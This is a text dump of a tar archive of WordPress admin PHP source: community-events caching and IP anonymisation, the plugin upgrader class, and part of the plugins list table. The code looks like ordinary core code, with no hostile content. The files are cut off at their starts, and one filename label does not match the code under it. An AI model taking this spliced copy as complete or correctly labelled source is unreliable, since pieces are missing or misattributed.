* would be generated based on the public IP when saving the cache, but generated
* based on the private IP when retrieving the cache.
*/
if ( ! empty( $response_body['location']['ip'] ) ) {
$response_body['location']['ip'] = $request_args['body']['ip'];
}
/*
* The API doesn't return a description for latitude/longitude requests,
* but the description is already saved in the user location, so that
* one can be used instead.
*/
if ( $this->coordinates_match( $request_args['body'], $response_body['location'] ) && empty( $response_body['location']['description'] ) ) {
$response_body['location']['description'] = $this->user_location['description'];
}
/*
* Store the raw response, because events will expire before the cache does.
* The response will need to be processed every page load.
*/
$this->cache_events( $response_body, $expiration );
$response_body['events'] = $this->trim_events( $response_body['events'] );
return $response_body;
}
}
/**
* Builds an array of args to use in an HTTP request to the w.org Events API.
*
* @since 4.8.0
*
* @param string $search Optional. City search string. Default empty string.
* @param string $timezone Optional. Timezone string. Default empty string.
* @return array The request args.
*/
protected function get_request_args( $search = '', $timezone = '' ) {
$args = array(
'number' => 5, // Get more than three in case some get trimmed out.
'ip' => self::get_unsafe_client_ip(),
);
/*
* Include the minimal set of necessary arguments, in order to increase the
* chances of a cache-hit on the API side.
*/
if ( empty( $search ) && isset( $this->user_location['latitude'], $this->user_location['longitude'] ) ) {
$args['latitude'] = $this->user_location['latitude'];
$args['longitude'] = $this->user_location['longitude'];
} else {
$args['locale'] = get_user_locale( $this->user_id );
if ( $timezone ) {
$args['timezone'] = $timezone;
}
if ( $search ) {
$args['location'] = $search;
}
}
// Wrap the args in an array compatible with the second parameter of `wp_remote_get()`.
return array(
'body' => $args,
);
}
/**
* Determines the user's actual IP address and attempts to partially
* anonymize an IP address by converting it to a network ID.
*
* Geolocating the network ID usually returns a similar location as the
* actual IP, but provides some privacy for the user.
*
* $_SERVER['REMOTE_ADDR'] cannot be used in all cases, such as when the user
* is making their request through a proxy, or when the web server is behind
* a proxy. In those cases, $_SERVER['REMOTE_ADDR'] is set to the proxy address rather
* than the user's actual address.
*
* Modified from https://stackoverflow.com/a/2031935/450127, MIT license.
* Modified from https://github.com/geertw/php-ip-anonymizer, MIT license.
*
* SECURITY WARNING: This function is _NOT_ intended to be used in
* circumstances where the authenticity of the IP address matters. This does
* _NOT_ guarantee that the returned address is valid or accurate, and it can
* be easily spoofed.
*
* @since 4.8.0
*
* @return string|false The anonymized address on success; the given address
* or false on failure.
*/
public static function get_unsafe_client_ip() {
$client_ip = false;
// In order of preference, with the best ones for this purpose first.
$address_headers = array(
'HTTP_CLIENT_IP',
'HTTP_X_FORWARDED_FOR',
'HTTP_X_FORWARDED',
'HTTP_X_CLUSTER_CLIENT_IP',
'HTTP_FORWARDED_FOR',
'HTTP_FORWARDED',
'REMOTE_ADDR',
);
foreach ( $address_headers as $header ) {
if ( array_key_exists( $header, $_SERVER ) ) {
/*
* HTTP_X_FORWARDED_FOR can contain a chain of comma-separated
* addresses. The first one is the original client. It can't be
* trusted for authenticity, but we don't need to for this purpose.
*/
$address_chain = explode( ',', $_SERVER[ $header ] );
$client_ip = trim( $address_chain[0] );
break;
}
}
if ( ! $client_ip ) {
return false;
}
$anon_ip = wp_privacy_anonymize_ip( $client_ip, true );
if ( '0.0.0.0' === $anon_ip || '::' === $anon_ip ) {
return false;
}
return $anon_ip;
}
/**
* Test if two pairs of latitude/longitude coordinates match each other.
*
* @since 4.8.0
*
* @param array $a The first pair, with indexes 'latitude' and 'longitude'.
* @param array $b The second pair, with indexes 'latitude' and 'longitude'.
* @return bool True if they match, false if they don't.
*/
protected function coordinates_match( $a, $b ) {
if ( ! isset( $a['latitude'], $a['longitude'], $b['latitude'], $b['longitude'] ) ) {
return false;
}
return $a['latitude'] === $b['latitude'] && $a['longitude'] === $b['longitude'];
}
/**
* Generates a transient key based on user location.
*
* This could be reduced to a one-liner in the calling functions, but it's
* intentionally a separate function because it's called from multiple
* functions, and having it abstracted keeps the logic consistent and DRY,
* which is less prone to errors.
*
* @since 4.8.0
*
* @param array $location Should contain 'latitude' and 'longitude' indexes.
* @return string|false Transient key on success, false on failure.
*/
protected function get_events_transient_key( $location ) {
$key = false;
if ( isset( $location['ip'] ) ) {
$key = 'community-events-' . md5( $location['ip'] );
} elseif ( isset( $location['latitude'], $location['longitude'] ) ) {
$key = 'community-events-' . md5( $location['latitude'] . $location['longitude'] );
}
return $key;
}
/**
* Caches an array of events data from the Events API.
*
* @since 4.8.0
*
* @param array $events Response body from the API request.
* @param int|false $expiration Optional. Amount of time to cache the events. Defaults to false.
* @return bool true if events were cached; false if not.
*/
protected function cache_events( $events, $expiration = false ) {
$set = false;
$transient_key = $this->get_events_transient_key( $events['location'] );
$cache_expiration = $expiration ? absint( $expiration ) : HOUR_IN_SECONDS * 12;
if ( $transient_key ) {
$set = set_site_transient( $transient_key, $events, $cache_expiration );
}
return $set;
}
/**
* Gets cached events.
*
* @since 4.8.0
* @since 5.5.2 Response no longer contains formatted date field. They're added
* in `wp.communityEvents.populateDynamicEventFields()` now.
*
* @return array|false An array containing `location` and `events` items
* on success, false on failure.
*/
public function get_cached_events() {
$transient_key = $this->get_events_transient_key( $this->user_location );
if ( ! $transient_key ) {
return false;
}
$cached_response = get_site_transient( $transient_key );
if ( isset( $cached_response['events'] ) ) {
$cached_response['events'] = $this->trim_events( $cached_response['events'] );
}
return $cached_response;
}
/**
* Adds formatted date and time items for each event in an API response.
*
* This has to be called after the data is pulled from the cache, because
* the cached events are shared by all users. If it was called before storing
* the cache, then all users would see the events in the localized data/time
* of the user who triggered the cache refresh, rather than their own.
*
* @since 4.8.0
* @deprecated 5.6.0 No longer used in core.
*
* @param array $response_body The response which contains the events.
* @return array The response with dates and times formatted.
*/
protected function format_event_data_time( $response_body ) {
_deprecated_function(
__METHOD__,
'5.5.2',
'This is no longer used by core, and only kept for backward compatibility.'
);
if ( isset( $response_body['events'] ) ) {
foreach ( $response_body['events'] as $key => $event ) {
$timestamp = strtotime( $event['date'] );
/*
* The `date_format` option is not used because it's important
* in this context to keep the day of the week in the formatted date,
* so that users can tell at a glance if the event is on a day they
* are available, without having to open the link.
*/
/* translators: Date format for upcoming events on the dashboard. Include the day of the week. See https://www.php.net/manual/datetime.format.php */
$formatted_date = date_i18n( __( 'l, M j, Y' ), $timestamp );
$formatted_time = date_i18n( get_option( 'time_format' ), $timestamp );
if ( isset( $event['end_date'] ) ) {
$end_timestamp = strtotime( $event['end_date'] );
$formatted_end_date = date_i18n( __( 'l, M j, Y' ), $end_timestamp );
if ( 'meetup' !== $event['type'] && $formatted_end_date !== $formatted_date ) {
/* translators: Upcoming events month format. See https://www.php.net/manual/datetime.format.php */
$start_month = date_i18n( _x( 'F', 'upcoming events month format' ), $timestamp );
$end_month = date_i18n( _x( 'F', 'upcoming events month format' ), $end_timestamp );
if ( $start_month === $end_month ) {
$formatted_date = sprintf(
/* translators: Date string for upcoming events. 1: Month, 2: Starting day, 3: Ending day, 4: Year. */
__( '%1$s %2$d–%3$d, %4$d' ),
$start_month,
/* translators: Upcoming events day format. See https://www.php.net/manual/datetime.format.php */
date_i18n( _x( 'j', 'upcoming events day format' ), $timestamp ),
date_i18n( _x( 'j', 'upcoming events day format' ), $end_timestamp ),
/* translators: Upcoming events year format. See https://www.php.net/manual/datetime.format.php */
date_i18n( _x( 'Y', 'upcoming events year format' ), $timestamp )
);
} else {
$formatted_date = sprintf(
/* translators: Date string for upcoming events. 1: Starting month, 2: Starting day, 3: Ending month, 4: Ending day, 5: Year. */
__( '%1$s %2$d – %3$s %4$d, %5$d' ),
$start_month,
date_i18n( _x( 'j', 'upcoming events day format' ), $timestamp ),
$end_month,
date_i18n( _x( 'j', 'upcoming events day format' ), $end_timestamp ),
date_i18n( _x( 'Y', 'upcoming events year format' ), $timestamp )
);
}
$formatted_date = wp_maybe_decline_date( $formatted_date, 'F j, Y' );
}
}
$response_body['events'][ $key ]['formatted_date'] = $formatted_date;
$response_body['events'][ $key ]['formatted_time'] = $formatted_time;
}
}
return $response_body;
}
/**
* Prepares the event list for presentation.
*
* Discards expired events, and makes WordCamps "sticky." Attendees need more
* advanced notice about WordCamps than they do for meetups, so camps should
* appear in the list sooner. If a WordCamp is coming up, the API will "stick"
* it in the response, even if it wouldn't otherwise appear. When that happens,
* the event will be at the end of the list, and will need to be moved into a
* higher position, so that it doesn't get trimmed off.
*
* @since 4.8.0
* @since 4.9.7 Stick a WordCamp to the final list.
* @since 5.5.2 Accepts and returns only the events, rather than an entire HTTP response.
* @since 6.0.0 Decode HTML entities from the event title.
*
* @param array $events The events that will be prepared.
* @return array The response body with events trimmed.
*/
protected function trim_events( array $events ) {
$future_events = array();
foreach ( $events as $event ) {
/*
* The API's `date` and `end_date` fields are in the _event's_ local timezone, but UTC is needed so
* it can be converted to the _user's_ local time.
*/
$end_time = (int) $event['end_unix_timestamp'];
if ( time() < $end_time ) {
// Decode HTML entities from the event title.
$event['title'] = html_entity_decode( $event['title'], ENT_QUOTES, 'UTF-8' );
array_push( $future_events, $event );
}
}
$future_wordcamps = array_filter(
$future_events,
static function ( $wordcamp ) {
return 'wordcamp' === $wordcamp['type'];
}
);
$future_wordcamps = array_values( $future_wordcamps ); // Remove gaps in indices.
$trimmed_events = array_slice( $future_events, 0, 3 );
$trimmed_event_types = wp_list_pluck( $trimmed_events, 'type' );
// Make sure the soonest upcoming WordCamp is pinned in the list.
if ( $future_wordcamps && ! in_array( 'wordcamp', $trimmed_event_types, true ) ) {
array_pop( $trimmed_events );
array_push( $trimmed_events, $future_wordcamps[0] );
}
return $trimmed_events;
}
/**
* Logs responses to Events API requests.
*
* @since 4.8.0
* @deprecated 4.9.0 Use a plugin instead. See #41217 for an example.
*
* @param string $message A description of what occurred.
* @param array $details Details that provide more context for the
* log entry.
*/
protected function maybe_log_events_response( $message, $details ) {
_deprecated_function( __METHOD__, '4.9.0' );
if ( ! WP_DEBUG_LOG ) {
return;
}
error_log(
sprintf(
'%s: %s. Details: %s',
__METHOD__,
trim( $message, '.' ),
wp_json_encode( $details )
)
);
}
}
class-plugin-upgrader.php 0000644 00000055313 14757313107 0011504 0 ustar 00 strings['up_to_date'] = __( 'The plugin is at the latest version.' );
$this->strings['no_package'] = __( 'Update package not available.' );
/* translators: %s: Package URL. */
$this->strings['downloading_package'] = sprintf( __( 'Downloading update from %s…' ), '%s' );
$this->strings['unpack_package'] = __( 'Unpacking the update…' );
$this->strings['remove_old'] = __( 'Removing the old version of the plugin…' );
$this->strings['remove_old_failed'] = __( 'Could not remove the old plugin.' );
$this->strings['process_failed'] = __( 'Plugin update failed.' );
$this->strings['process_success'] = __( 'Plugin updated successfully.' );
$this->strings['process_bulk_success'] = __( 'Plugins updated successfully.' );
}
/**
* Initializes the installation strings.
*
* @since 2.8.0
*/
public function install_strings() {
$this->strings['no_package'] = __( 'Installation package not available.' );
/* translators: %s: Package URL. */
$this->strings['downloading_package'] = sprintf( __( 'Downloading installation package from %s…' ), '%s' );
$this->strings['unpack_package'] = __( 'Unpacking the package…' );
$this->strings['installing_package'] = __( 'Installing the plugin…' );
$this->strings['remove_old'] = __( 'Removing the current plugin…' );
$this->strings['remove_old_failed'] = __( 'Could not remove the current plugin.' );
$this->strings['no_files'] = __( 'The plugin contains no files.' );
$this->strings['process_failed'] = __( 'Plugin installation failed.' );
$this->strings['process_success'] = __( 'Plugin installed successfully.' );
/* translators: 1: Plugin name, 2: Plugin version. */
$this->strings['process_success_specific'] = __( 'Successfully installed the plugin %1$s %2$s.' );
if ( ! empty( $this->skin->overwrite ) ) {
if ( 'update-plugin' === $this->skin->overwrite ) {
$this->strings['installing_package'] = __( 'Updating the plugin…' );
$this->strings['process_failed'] = __( 'Plugin update failed.' );
$this->strings['process_success'] = __( 'Plugin updated successfully.' );
}
if ( 'downgrade-plugin' === $this->skin->overwrite ) {
$this->strings['installing_package'] = __( 'Downgrading the plugin…' );
$this->strings['process_failed'] = __( 'Plugin downgrade failed.' );
$this->strings['process_success'] = __( 'Plugin downgraded successfully.' );
}
}
}
/**
* Install a plugin package.
*
* @since 2.8.0
* @since 3.7.0 The `$args` parameter was added, making clearing the plugin update cache optional.
*
* @param string $package The full local path or URI of the package.
* @param array $args {
* Optional. Other arguments for installing a plugin package. Default empty array.
*
* @type bool $clear_update_cache Whether to clear the plugin updates cache if successful.
* Default true.
* }
* @return bool|WP_Error True if the installation was successful, false or a WP_Error otherwise.
*/
public function install( $package, $args = array() ) {
$defaults = array(
'clear_update_cache' => true,
'overwrite_package' => false, // Do not overwrite files.
);
$parsed_args = wp_parse_args( $args, $defaults );
$this->init();
$this->install_strings();
add_filter( 'upgrader_source_selection', array( $this, 'check_package' ) );
if ( $parsed_args['clear_update_cache'] ) {
// Clear cache so wp_update_plugins() knows about the new plugin.
add_action( 'upgrader_process_complete', 'wp_clean_plugins_cache', 9, 0 );
}
$this->run(
array(
'package' => $package,
'destination' => WP_PLUGIN_DIR,
'clear_destination' => $parsed_args['overwrite_package'],
'clear_working' => true,
'hook_extra' => array(
'type' => 'plugin',
'action' => 'install',
),
)
);
remove_action( 'upgrader_process_complete', 'wp_clean_plugins_cache', 9 );
remove_filter( 'upgrader_source_selection', array( $this, 'check_package' ) );
if ( ! $this->result || is_wp_error( $this->result ) ) {
return $this->result;
}
// Force refresh of plugin update information.
wp_clean_plugins_cache( $parsed_args['clear_update_cache'] );
if ( $parsed_args['overwrite_package'] ) {
/**
* Fires when the upgrader has successfully overwritten a currently installed
* plugin or theme with an uploaded zip package.
*
* @since 5.5.0
*
* @param string $package The package file.
* @param array $data The new plugin or theme data.
* @param string $package_type The package type ('plugin' or 'theme').
*/
do_action( 'upgrader_overwrote_package', $package, $this->new_plugin_data, 'plugin' );
}
return true;
}
/**
* Upgrades a plugin.
*
* @since 2.8.0
* @since 3.7.0 The `$args` parameter was added, making clearing the plugin update cache optional.
*
* @param string $plugin Path to the plugin file relative to the plugins directory.
* @param array $args {
* Optional. Other arguments for upgrading a plugin package. Default empty array.
*
* @type bool $clear_update_cache Whether to clear the plugin updates cache if successful.
* Default true.
* }
* @return bool|WP_Error True if the upgrade was successful, false or a WP_Error object otherwise.
*/
public function upgrade( $plugin, $args = array() ) {
$defaults = array(
'clear_update_cache' => true,
);
$parsed_args = wp_parse_args( $args, $defaults );
$this->init();
$this->upgrade_strings();
$current = get_site_transient( 'update_plugins' );
if ( ! isset( $current->response[ $plugin ] ) ) {
$this->skin->before();
$this->skin->set_result( false );
$this->skin->error( 'up_to_date' );
$this->skin->after();
return false;
}
// Get the URL to the zip file.
$r = $current->response[ $plugin ];
add_filter( 'upgrader_pre_install', array( $this, 'deactivate_plugin_before_upgrade' ), 10, 2 );
add_filter( 'upgrader_pre_install', array( $this, 'active_before' ), 10, 2 );
add_filter( 'upgrader_clear_destination', array( $this, 'delete_old_plugin' ), 10, 4 );
add_filter( 'upgrader_post_install', array( $this, 'active_after' ), 10, 2 );
/*
* There's a Trac ticket to move up the directory for zips which are made a bit differently, useful for non-.org plugins.
* 'source_selection' => array( $this, 'source_selection' ),
*/
if ( $parsed_args['clear_update_cache'] ) {
// Clear cache so wp_update_plugins() knows about the new plugin.
add_action( 'upgrader_process_complete', 'wp_clean_plugins_cache', 9, 0 );
}
$this->run(
array(
'package' => $r->package,
'destination' => WP_PLUGIN_DIR,
'clear_destination' => true,
'clear_working' => true,
'hook_extra' => array(
'plugin' => $plugin,
'type' => 'plugin',
'action' => 'update',
'temp_backup' => array(
'slug' => dirname( $plugin ),
'src' => WP_PLUGIN_DIR,
'dir' => 'plugins',
),
),
)
);
// Cleanup our hooks, in case something else does an upgrade on this connection.
remove_action( 'upgrader_process_complete', 'wp_clean_plugins_cache', 9 );
remove_filter( 'upgrader_pre_install', array( $this, 'deactivate_plugin_before_upgrade' ) );
remove_filter( 'upgrader_pre_install', array( $this, 'active_before' ) );
remove_filter( 'upgrader_clear_destination', array( $this, 'delete_old_plugin' ) );
remove_filter( 'upgrader_post_install', array( $this, 'active_after' ) );
if ( ! $this->result || is_wp_error( $this->result ) ) {
return $this->result;
}
// Force refresh of plugin update information.
wp_clean_plugins_cache( $parsed_args['clear_update_cache'] );
/*
* Ensure any future auto-update failures trigger a failure email by removing
* the last failure notification from the list when plugins update successfully.
*/
$past_failure_emails = get_option( 'auto_plugin_theme_update_emails', array() );
if ( isset( $past_failure_emails[ $plugin ] ) ) {
unset( $past_failure_emails[ $plugin ] );
update_option( 'auto_plugin_theme_update_emails', $past_failure_emails );
}
return true;
}
/**
* Upgrades several plugins at once.
*
* @since 2.8.0
* @since 3.7.0 The `$args` parameter was added, making clearing the plugin update cache optional.
*
* @param string[] $plugins Array of paths to plugin files relative to the plugins directory.
* @param array $args {
* Optional. Other arguments for upgrading several plugins at once.
*
* @type bool $clear_update_cache Whether to clear the plugin updates cache if successful. Default true.
* }
* @return array|false An array of results indexed by plugin file, or false if unable to connect to the filesystem.
*/
public function bulk_upgrade( $plugins, $args = array() ) {
$wp_version = wp_get_wp_version();
$defaults = array(
'clear_update_cache' => true,
);
$parsed_args = wp_parse_args( $args, $defaults );
$this->init();
$this->bulk = true;
$this->upgrade_strings();
$current = get_site_transient( 'update_plugins' );
add_filter( 'upgrader_clear_destination', array( $this, 'delete_old_plugin' ), 10, 4 );
$this->skin->header();
// Connect to the filesystem first.
$res = $this->fs_connect( array( WP_CONTENT_DIR, WP_PLUGIN_DIR ) );
if ( ! $res ) {
$this->skin->footer();
return false;
}
$this->skin->bulk_header();
/*
* Only start maintenance mode if:
* - running Multisite and there are one or more plugins specified, OR
* - a plugin with an update available is currently active.
* @todo For multisite, maintenance mode should only kick in for individual sites if at all possible.
*/
$maintenance = ( is_multisite() && ! empty( $plugins ) );
foreach ( $plugins as $plugin ) {
$maintenance = $maintenance || ( is_plugin_active( $plugin ) && isset( $current->response[ $plugin ] ) );
}
if ( $maintenance ) {
$this->maintenance_mode( true );
}
$results = array();
$this->update_count = count( $plugins );
$this->update_current = 0;
foreach ( $plugins as $plugin ) {
++$this->update_current;
$this->skin->plugin_info = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin, false, true );
if ( ! isset( $current->response[ $plugin ] ) ) {
$this->skin->set_result( 'up_to_date' );
$this->skin->before();
$this->skin->feedback( 'up_to_date' );
$this->skin->after();
$results[ $plugin ] = true;
continue;
}
// Get the URL to the zip file.
$r = $current->response[ $plugin ];
$this->skin->plugin_active = is_plugin_active( $plugin );
if ( isset( $r->requires ) && ! is_wp_version_compatible( $r->requires ) ) {
$result = new WP_Error(
'incompatible_wp_required_version',
sprintf(
/* translators: 1: Current WordPress version, 2: WordPress version required by the new plugin version. */
__( 'Your WordPress version is %1$s, however the new plugin version requires %2$s.' ),
$wp_version,
$r->requires
)
);
$this->skin->before( $result );
$this->skin->error( $result );
$this->skin->after();
} elseif ( isset( $r->requires_php ) && ! is_php_version_compatible( $r->requires_php ) ) {
$result = new WP_Error(
'incompatible_php_required_version',
sprintf(
/* translators: 1: Current PHP version, 2: PHP version required by the new plugin version. */
__( 'The PHP version on your server is %1$s, however the new plugin version requires %2$s.' ),
PHP_VERSION,
$r->requires_php
)
);
$this->skin->before( $result );
$this->skin->error( $result );
$this->skin->after();
} else {
add_filter( 'upgrader_source_selection', array( $this, 'check_package' ) );
$result = $this->run(
array(
'package' => $r->package,
'destination' => WP_PLUGIN_DIR,
'clear_destination' => true,
'clear_working' => true,
'is_multi' => true,
'hook_extra' => array(
'plugin' => $plugin,
'temp_backup' => array(
'slug' => dirname( $plugin ),
'src' => WP_PLUGIN_DIR,
'dir' => 'plugins',
),
),
)
);
remove_filter( 'upgrader_source_selection', array( $this, 'check_package' ) );
}
$results[ $plugin ] = $result;
// Prevent credentials auth screen from displaying multiple times.
if ( false === $result ) {
break;
}
} // End foreach $plugins.
$this->maintenance_mode( false );
// Force refresh of plugin update information.
wp_clean_plugins_cache( $parsed_args['clear_update_cache'] );
/** This action is documented in wp-admin/includes/class-wp-upgrader.php */
do_action(
'upgrader_process_complete',
$this,
array(
'action' => 'update',
'type' => 'plugin',
'bulk' => true,
'plugins' => $plugins,
)
);
$this->skin->bulk_footer();
$this->skin->footer();
// Cleanup our hooks, in case something else does an upgrade on this connection.
remove_filter( 'upgrader_clear_destination', array( $this, 'delete_old_plugin' ) );
/*
* Ensure any future auto-update failures trigger a failure email by removing
* the last failure notification from the list when plugins update successfully.
*/
$past_failure_emails = get_option( 'auto_plugin_theme_update_emails', array() );
foreach ( $results as $plugin => $result ) {
// Maintain last failure notification when plugins failed to update manually.
if ( ! $result || is_wp_error( $result ) || ! isset( $past_failure_emails[ $plugin ] ) ) {
continue;
}
unset( $past_failure_emails[ $plugin ] );
}
update_option( 'auto_plugin_theme_update_emails', $past_failure_emails );
return $results;
}
/**
* Checks that the source package contains a valid plugin.
*
* Hooked to the {@see 'upgrader_source_selection'} filter by Plugin_Upgrader::install().
*
* @since 3.3.0
*
* @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
*
* @param string $source The path to the downloaded package source.
* @return string|WP_Error The source as passed, or a WP_Error object on failure.
*/
public function check_package( $source ) {
global $wp_filesystem;
$wp_version = wp_get_wp_version();
$this->new_plugin_data = array();
if ( is_wp_error( $source ) ) {
return $source;
}
$working_directory = str_replace( $wp_filesystem->wp_content_dir(), trailingslashit( WP_CONTENT_DIR ), $source );
if ( ! is_dir( $working_directory ) ) { // Confidence check, if the above fails, let's not prevent installation.
return $source;
}
// Check that the folder contains at least 1 valid plugin.
$files = glob( $working_directory . '*.php' );
if ( $files ) {
foreach ( $files as $file ) {
$info = get_plugin_data( $file, false, false );
if ( ! empty( $info['Name'] ) ) {
$this->new_plugin_data = $info;
break;
}
}
}
if ( empty( $this->new_plugin_data ) ) {
return new WP_Error( 'incompatible_archive_no_plugins', $this->strings['incompatible_archive'], __( 'No valid plugins were found.' ) );
}
$requires_php = isset( $info['RequiresPHP'] ) ? $info['RequiresPHP'] : null;
$requires_wp = isset( $info['RequiresWP'] ) ? $info['RequiresWP'] : null;
if ( ! is_php_version_compatible( $requires_php ) ) {
$error = sprintf(
/* translators: 1: Current PHP version, 2: Version required by the uploaded plugin. */
__( 'The PHP version on your server is %1$s, however the uploaded plugin requires %2$s.' ),
PHP_VERSION,
$requires_php
);
return new WP_Error( 'incompatible_php_required_version', $this->strings['incompatible_archive'], $error );
}
if ( ! is_wp_version_compatible( $requires_wp ) ) {
$error = sprintf(
/* translators: 1: Current WordPress version, 2: Version required by the uploaded plugin. */
__( 'Your WordPress version is %1$s, however the uploaded plugin requires %2$s.' ),
$wp_version,
$requires_wp
);
return new WP_Error( 'incompatible_wp_required_version', $this->strings['incompatible_archive'], $error );
}
return $source;
}
/**
* Retrieves the path to the file that contains the plugin info.
*
* This isn't used internally in the class, but is called by the skins.
*
* @since 2.8.0
*
* @return string|false The full path to the main plugin file, or false.
*/
public function plugin_info() {
if ( ! is_array( $this->result ) ) {
return false;
}
if ( empty( $this->result['destination_name'] ) ) {
return false;
}
// Ensure to pass with leading slash.
$plugin = get_plugins( '/' . $this->result['destination_name'] );
if ( empty( $plugin ) ) {
return false;
}
// Assume the requested plugin is the first in the list.
$pluginfiles = array_keys( $plugin );
return $this->result['destination_name'] . '/' . $pluginfiles[0];
}
/**
* Deactivates a plugin before it is upgraded.
*
* Hooked to the {@see 'upgrader_pre_install'} filter by Plugin_Upgrader::upgrade().
*
* @since 2.8.0
* @since 4.1.0 Added a return value.
*
* @param bool|WP_Error $response The installation response before the installation has started.
* @param array $plugin Plugin package arguments.
* @return bool|WP_Error The original `$response` parameter or WP_Error.
*/
public function deactivate_plugin_before_upgrade( $response, $plugin ) {
if ( is_wp_error( $response ) ) { // Bypass.
return $response;
}
// When in cron (background updates) don't deactivate the plugin, as we require a browser to reactivate it.
if ( wp_doing_cron() ) {
return $response;
}
$plugin = isset( $plugin['plugin'] ) ? $plugin['plugin'] : '';
if ( empty( $plugin ) ) {
return new WP_Error( 'bad_request', $this->strings['bad_request'] );
}
if ( is_plugin_active( $plugin ) ) {
// Deactivate the plugin silently, Prevent deactivation hooks from running.
deactivate_plugins( $plugin, true );
}
return $response;
}
/**
* Turns on maintenance mode before attempting to background update an active plugin.
*
* Hooked to the {@see 'upgrader_pre_install'} filter by Plugin_Upgrader::upgrade().
*
* @since 5.4.0
*
* @param bool|WP_Error $response The installation response before the installation has started.
* @param array $plugin Plugin package arguments.
* @return bool|WP_Error The original `$response` parameter or WP_Error.
*/
public function active_before( $response, $plugin ) {
if ( is_wp_error( $response ) ) {
return $response;
}
// Only enable maintenance mode when in cron (background update).
if ( ! wp_doing_cron() ) {
return $response;
}
$plugin = isset( $plugin['plugin'] ) ? $plugin['plugin'] : '';
// Only run if plugin is active.
if ( ! is_plugin_active( $plugin ) ) {
return $response;
}
// Change to maintenance mode. Bulk edit handles this separately.
if ( ! $this->bulk ) {
$this->maintenance_mode( true );
}
return $response;
}
/**
* Turns off maintenance mode after upgrading an active plugin.
*
* Hooked to the {@see 'upgrader_post_install'} filter by Plugin_Upgrader::upgrade().
*
* @since 5.4.0
*
* @param bool|WP_Error $response The installation response after the installation has finished.
* @param array $plugin Plugin package arguments.
* @return bool|WP_Error The original `$response` parameter or WP_Error.
*/
public function active_after( $response, $plugin ) {
if ( is_wp_error( $response ) ) {
return $response;
}
// Only disable maintenance mode when in cron (background update).
if ( ! wp_doing_cron() ) {
return $response;
}
$plugin = isset( $plugin['plugin'] ) ? $plugin['plugin'] : '';
// Only run if plugin is active.
if ( ! is_plugin_active( $plugin ) ) {
return $response;
}
// Time to remove maintenance mode. Bulk edit handles this separately.
if ( ! $this->bulk ) {
$this->maintenance_mode( false );
}
return $response;
}
/**
* Deletes the old plugin during an upgrade.
*
* Hooked to the {@see 'upgrader_clear_destination'} filter by
* Plugin_Upgrader::upgrade() and Plugin_Upgrader::bulk_upgrade().
*
* @since 2.8.0
*
* @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
*
* @param bool|WP_Error $removed Whether the destination was cleared.
* True on success, WP_Error on failure.
* @param string $local_destination The local package destination.
* @param string $remote_destination The remote package destination.
* @param array $plugin Extra arguments passed to hooked filters.
* @return bool|WP_Error
*/
public function delete_old_plugin( $removed, $local_destination, $remote_destination, $plugin ) {
global $wp_filesystem;
if ( is_wp_error( $removed ) ) {
return $removed; // Pass errors through.
}
$plugin = isset( $plugin['plugin'] ) ? $plugin['plugin'] : '';
if ( empty( $plugin ) ) {
return new WP_Error( 'bad_request', $this->strings['bad_request'] );
}
$plugins_dir = $wp_filesystem->wp_plugins_dir();
$this_plugin_dir = trailingslashit( dirname( $plugins_dir . $plugin ) );
if ( ! $wp_filesystem->exists( $this_plugin_dir ) ) { // If it's already vanished.
return $removed;
}
/*
* If plugin is in its own directory, recursively delete the directory.
* Base check on if plugin includes directory separator AND that it's not the root plugin folder.
*/
if ( strpos( $plugin, '/' ) && $this_plugin_dir !== $plugins_dir ) {
$deleted = $wp_filesystem->delete( $this_plugin_dir, true );
} else {
$deleted = $wp_filesystem->delete( $plugins_dir . $plugin );
}
if ( ! $deleted ) {
return new WP_Error( 'remove_old_failed', $this->strings['remove_old_failed'] );
}
return true;
}
}
ms-admin-filters.php 0000644 00000002420 14757313107 0010436 0 ustar 00 'plugins',
'screen' => isset( $args['screen'] ) ? $args['screen'] : null,
)
);
$allowed_statuses = array( 'active', 'inactive', 'recently_activated', 'upgrade', 'mustuse', 'dropins', 'search', 'paused', 'auto-update-enabled', 'auto-update-disabled' );
$status = 'all';
if ( isset( $_REQUEST['plugin_status'] ) && in_array( $_REQUEST['plugin_status'], $allowed_statuses, true ) ) {
$status = $_REQUEST['plugin_status'];
}
if ( isset( $_REQUEST['s'] ) ) {
$_SERVER['REQUEST_URI'] = add_query_arg( 's', wp_unslash( $_REQUEST['s'] ) );
}
$page = $this->get_pagenum();
$this->show_autoupdates = wp_is_auto_update_enabled_for_type( 'plugin' )
&& current_user_can( 'update_plugins' )
&& ( ! is_multisite() || $this->screen->in_admin( 'network' ) );
}
/**
* @return array
*/
protected function get_table_classes() {
return array( 'widefat', $this->_args['plural'] );
}
/**
* @return bool
*/
public function ajax_user_can() {
return current_user_can( 'activate_plugins' );
}
/**
* @global string $status
* @global array $plugins
* @global array $totals
* @global int $page
* @global string $orderby
* @global string $order
* @global string $s
*/
public function prepare_items() {
global $status, $plugins, $totals, $page, $orderby, $order, $s;
$orderby = ! empty( $_REQUEST['orderby'] ) ? sanitize_text_field( $_REQUEST['orderby'] ) : '';
$order = ! empty( $_REQUEST['order'] ) ? sanitize_text_field( $_REQUEST['order'] ) : '';
/**
* Filters the full array of plugins to list in the Plugins list table.
*
* @since 3.0.0
*
* @see get_plugins()
*
* @param array $all_plugins An array of plugins to display in the list table.
*/
$all_plugins = apply_filters( 'all_plugins', get_plugins() );
$plugins = array(
'all' => $all_plugins,
'search' => array(),
'active' => array(),
'inactive' => array(),
'recently_activated' => array(),
'upgrade' => array(),
'mustuse' => array(),
'dropins' => array(),
'paused' => array(),
);
if ( $this->show_autoupdates ) {
$auto_updates = (array) get_site_option( 'auto_update_plugins', array() );
$plugins['auto-update-enabled'] = array();
$plugins['auto-update-disabled'] = array();
}
$screen = $this->screen;
if ( ! is_multisite() || ( $screen->in_admin( 'network' ) && current_user_can( 'manage_network_plugins' ) ) ) {
/**
* Filters whether to display the advanced plugins list table.
*
* There are two types of advanced plugins - must-use and drop-ins -
* which can be used in a single site or Multisite network.
*
* The $type parameter allows you to differentiate between the type of advanced
* plugins to filter the display of. Contexts include 'mustuse' and 'dropins'.
*
* @since 3.0.0
*
* @param bool $show Whether to show the advanced plugins for the specified
* plugin type. Default true.
* @param string $type The plugin type. Accepts 'mustuse', 'dropins'.
*/
if ( apply_filters( 'show_advanced_plugins', true, 'mustuse' ) ) {
$plugins['mustuse'] = get_mu_plugins();
}
